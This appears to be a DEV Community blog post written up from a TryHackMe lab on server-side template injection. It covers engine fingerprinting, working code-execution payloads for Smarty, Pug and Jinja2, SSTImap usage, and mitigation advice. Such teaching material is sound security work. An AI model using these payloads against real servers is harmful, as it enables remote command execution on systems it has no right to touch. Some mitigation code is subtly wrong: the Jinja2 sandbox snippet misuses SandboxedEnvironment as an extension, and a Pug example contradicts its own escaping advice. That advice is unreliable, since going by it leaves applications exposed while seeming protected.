DEV Community

Cover image for TryHackMe: Server-Side Template Injection (SSTI)
Sean Lee
Sean Lee

Posted on

TryHackMe: Server-Side Template Injection (SSTI)

What is SSTI?

Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is unsafely incorporated into a server-side template, allowing attackers to execute arbitrary code on the server. Template engines generate dynamic HTML by combining templates with user data, and improper input handling can lead to SSTI attacks.

Core Concepts

  • Dynamic Content Generation: Template engines replace placeholders with actual data, which can be exploited if input is not sanitized.
  • User Input as Template Code: If user input is treated as part of the template, attackers can inject malicious logic.

SSTI exploits the execution of embedded expressions in templates, enabling attackers to manipulate server-side logic and potentially execute arbitrary code.

Flow of an SSTI Attack

Flow of an SSTI attack

When user input is embedded in templates without validation, attackers can craft payloads leading to:

  • Reading/modifying server-side files.
  • Executing system commands.
  • Accessing sensitive data (e.g., environment variables, database credentials).

Template Engines

What is a Template Engine?

A template engine helps generate dynamic web pages by replacing placeholders with actual user data. It works like a pre-designed template where dynamic content is inserted at runtime.

How It Works:

  1. Template: A predefined structure with placeholders (e.g., {{ name }}).
  2. User Input: Data is provided, such as a name or message.
  3. Combination: The template engine replaces placeholders with actual data.
  4. Output: A final web page is generated with dynamic content.

Template engine analogy

Template engines improve development efficiency but can introduce vulnerabilities like SSTI if user input is not properly sanitized.

Common Template Engines

  • Jinja2 (Python) – Powerful and widely used. Allows Python-like expressions to be embedded within HTML.
  • Twig (PHP) – Secure with robust default settings.
  • Pug/Jade (Node.js) – widely used for its concise HTML rendering and advanced features like conditionals, iterations, and template inheritance as well as minimalist HTML templating.
  • Smarty (PHP) - Enable developers to separate presentation from business logic, improving application maintainability and scalability.

How Template Engines Process Inputs

Template engines parse templates containing static and dynamic content. When rendering, placeholders are replaced with actual values.

Example (Jinja2 in Python):

from jinja2 import Template
hello_template = Template("Hello, {{ name }}!")
output = hello_template.render(name="World")
print(output)  # Output: Hello, World!
Enter fullscreen mode Exit fullscreen mode

Identifying the Template Engine

Different engines handle expressions uniquely, which helps in detection.

Jinja2 vs. Twig

  • Payload: {{ 7*'7' }}
  • Twig Output: 49
  • Jinja2 Output: 7777777

Twig: 49

Jinja2: 7777777

Pug/Jade

  • Syntax: #{ 7*7 }
  • Output: 49

Pug Output: 49

Pug/Jade allows direct JavaScript execution, making it distinct from Jinja2 and Twig.

Direct command execution

Smarty

  • Syntax: {'Hello'|upper}
  • Output: HELLO

HELLO output using the above payload


Exploitation

Smarty (PHP)

Smarty's flexibility allows for dynamic execution of PHP functions within its templates, which can become a significant security risk.

We can exploit this using something like {system("ls")} to list all files within the directory.

Directory contents using the ls command

Pug (Node.js)

Pug's security vulnerabilities primarily stem from its capability to interpolate JavaScript code within template variables.

Key Vulnerability Points:

  • JavaScript Interpolation: Pug allows embedding JavaScript directly within templates using interpolation braces #{}. If user input is interpolated without proper sanitization, it can lead to arbitrary code execution.
  • Default Escaping: Pug does provide automatic escaping for certain inputs, converting characters like <, >, and & to their HTML entity equivalents to prevent XSS attacks. However, this default behaviour does not cover all potential security issues, particularly when dealing with unescaped interpolation !{} or complex input scenarios.

#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}

Below is the breakdown:

  • root.process accesses the global process object from Node.js within the Pug template.
  • mainModule.require('child_process') dynamically requires the child_process module, bypassing potential restrictions that might prevent its regular inclusion.
  • spawnSync('ls'): Executes the ls command synchronously.
  • .stdout: Captures the standard output of the command.

Directory contents using the ls command

Understanding spawnSync

spawnSync('ls -lah') may not work as spawnSync does not inherently split a single string into a command and its arguments. Instead, it treats the whole string as the command to execute.

spawnSync syntax:

spawnSync(command, [args], [options])

  • command: This is a string that specifies the command to run.
  • args: This is an array of string arguments to pass to the command.
  • options: This is an optional parameter that can specify various options such as the working directory, environment variables, input, output, timeout, and more.

Example usage:

const { spawnSync } = require('child_process');
const result = spawnSync('ls', ['-lah']);
console.log(result.stdout.toString());
Enter fullscreen mode Exit fullscreen mode

Hence, the final payload:

#{root.process.mainModule.require('child_process').spawnSync('ls', ['-lah']).stdout}

Jinja2 (Python)

Jinja2 allows Python-like expressions to be embedded within HTML.

Security risk in Jinja2 often arises from insecure coding practices, such as input without proper sanitisation.

Key Vulnerability Points:

  • Expression Evaluation: Jinja2 evaluates expressions within curly braces {{ }}, which can execute arbitrary Python code if crafted maliciously.
  • Template Inheritance and Imports: Advanced features like template inheritance and macro imports can be misused to execute unintended code, leading to information disclosure or server manipulation.

Payload example:

{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}}

breakdown of the above payload:

  • "".__class__.__mro__[1] accesses the base object class, the superclass of all Python classes.
  • __subclasses__(): Lists all subclasses of object, and [157] is typically the index for the subprocess.Popen class (this index may vary and should be checked in the target environment). Classes dump using the above payload second part of the screenshot above
  • The subsequent method chains dynamically import and use the subprocess module to execute the ls command, capturing its output. directory contents using the ls command in the payload

Simillar to spawnSync, check_output('ls -lah') does not work as it does not parse the string into a command and separate arguments. Instead, it treats the whole string as a single command to execute.

check_output syntax:

subprocess.check_output([command, arg1, arg2])

  • command: A string that specifies the command to execute.
  • arg1, arg2, ...: Additional arguments that should be passed to the command.

Example usage:

subprocess.check_output(['ls', '-lah'])

Final payload:

{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['ls', '-lah'])}}


Automating Exploitation

SSTImap is a tool that automates the process of testing and exploiting SSTI vulnerabilities in various template engines. Hosted on GitHub.

Here's how you can get started:

  1. Clone the Repository:

    git clone https://github.com/vladko312/SSTImap.git

  2. Navigate to the SSTImap Directory:

    cd SSTImap

  3. Install Dependencies (if any are listed, usually via a requirements.txt):

    pip install -r requirements.txt

SSTImap is capable of the following:

  • Template Engine Detection: SSTImap can help identify the template engine used by a web application, which is crucial for crafting specific exploits.
  • Automated Exploitation: For known vulnerabilities, SSTImap can automate the process of exploiting them.

Here’s a simple usage example:

python3 sstimap.py -X POST -u 'TARGET_HTTP' -d 'page='


Mitigation

Jinja2

  1. Sandbox Mode: Enable sandboxed environment to restrict template access to unsafe functions and attributes, preventing arbitrary Python code execution.

    from jinja2 import Environment, select_autoescape, sandbox
    
    env = Environment(
        autoescape=select_autoescape(['html', 'xml']),
        extensions=[sandbox.SandboxedEnvironment]
    )
    
  2. Input Sanitization: Sanitize inputs to escape/remove dangerous characters or strings that can be interpreted as code.

  3. Template Auditing: Regularly review templates for insecure coding patterns, such as embedding unsanitized user input.

Jade (Pug)

  1. Avoid Direct JavaScript Evaluation: Avoid using Pug’s ability to evaluate JavaScript code in templates. Use alternative methods for dynamic content.

    var user = !{JSON.stringify(user)}
    h1= user.name
    

    Prefer #{} over !{} to escape HTML by default.

  2. Validate and Sanitize Inputs: Ensure strict input validation and sanitization to prevent malicious code execution.

  3. Secure Configuration: Use environment settings to disable dangerous features, such as script execution.

Smarty

  1. Disable {php} Tags: Disable {php} tags to prevent PHP code execution within templates.

    $smarty->security_policy->php_handling = Smarty::PHP_REMOVE;
    $smarty->disable_security = false;
    
  2. Use Secure Handlers: Provide a secure set of tags or modifiers for user-customized templates to avoid dangerous command execution.

  3. Regular Security Reviews: Conduct regular security reviews and updates for templates and data handling logic.

Sandboxing in Template Engines

Sandboxing restricts the execution of potentially harmful code within templates, blocking dangerous operations like file access and system commands.

Importance of Sandboxing

  • Function Restrictions: Limits callable functions or methods within templates to avoid harmful actions.
  • Variable/Data Access: Controls access to global variables and sensitive data to prevent manipulation or exposure.

Top comments (0)